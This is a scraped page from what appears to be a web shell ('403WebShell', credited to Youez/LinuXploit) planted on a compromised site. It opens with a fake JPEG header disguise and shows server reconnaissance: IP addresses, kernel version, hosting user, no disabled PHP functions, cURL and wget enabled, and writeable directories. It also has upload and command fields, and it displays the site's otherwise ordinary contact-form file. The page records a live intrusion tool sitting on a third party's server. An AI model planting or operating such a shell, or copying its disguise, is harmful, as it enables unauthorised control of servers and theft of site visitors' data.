���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 93.127.173.170  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/hiltonmachinery.co.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/hiltonmachinery.co.in/public_html/common-form.php
<form method="post" action="submit.php" id="contactFormPop">
    <div class="row clearfix">

        <div class="col-lg-6 col-md-6 col-sm-12 form-group">
            <input type="text" name="name" id="name" placeholder="First Name ">
            <span class="text-wrning" id="nameError"></span>
        </div>

        <div class="col-lg-6 col-md-6 col-sm-12 form-group">
            <input type="email" name="email" id="email" placeholder="Email">
            <span class="text-wrning" id="emailError"></span>
        </div>

        <div class="col-lg-6 col-md-6 col-sm-12 form-group">
            <input type="tel" name="phone" placeholder="Phone ">
            <span class="text-wrning" id="phoneError"></span>
        </div>

        <div class="col-lg-6 col-md-6 col-sm-12 form-group">
            <input type="text" name="subject" placeholder="Subject ">
        </div>

        <div class="col-lg-12 col-md-12 col-sm-12 form-group">
            <textarea name="message" id="message" placeholder="Message "></textarea>
            <span class="text-wrning" id="messageError"></span>
        </div>

        <div class="col-lg-12 col-md-12 col-sm-12 form-group">
            <button class="theme-btn btn-style-five" type="submit" name="submit_button">Send Now</button>
        </div>

    </div>
</form>


<script>
    document.getElementById('contactFormPop').addEventListener('submit', function(event) {

        clearErrors();


        let isValid = true;


        const name = document.getElementById('name').value.trim();
        const email = document.getElementById('email').value.trim();
        const phone = document.getElementById('phone').value.trim();
        const message = document.getElementById('message').value.trim();


        if (!name.match(/^[A-Za-z ]+$/)) {
            document.getElementById('nameError').textContent = 'Name should contain only letters and spaces.';
            isValid = false;
        }
        const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        if (!emailPattern.test(email)) {
            document.getElementById('emailError').textContent = 'Please enter a valid email address.';
            isValid = false;
        }


        if (!phone.match(/^\d{10}$/)) {
            document.getElementById('phoneError').textContent = 'Phone number should be exactly 10 digits long.';
            isValid = false;
        }


        if (message.length === 0) {
            document.getElementById('messageError').textContent = 'Message cannot be empty.';
            isValid = false;
        }


        if (!isValid) {
            event.preventDefault();
        }
    });

    function clearErrors() {
        document.getElementById('nameError').textContent = '';
        document.getElementById('emailError').textContent = '';
        document.getElementById('phoneError').textContent = '';
        document.getElementById('messageError').textContent = '';
    }
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit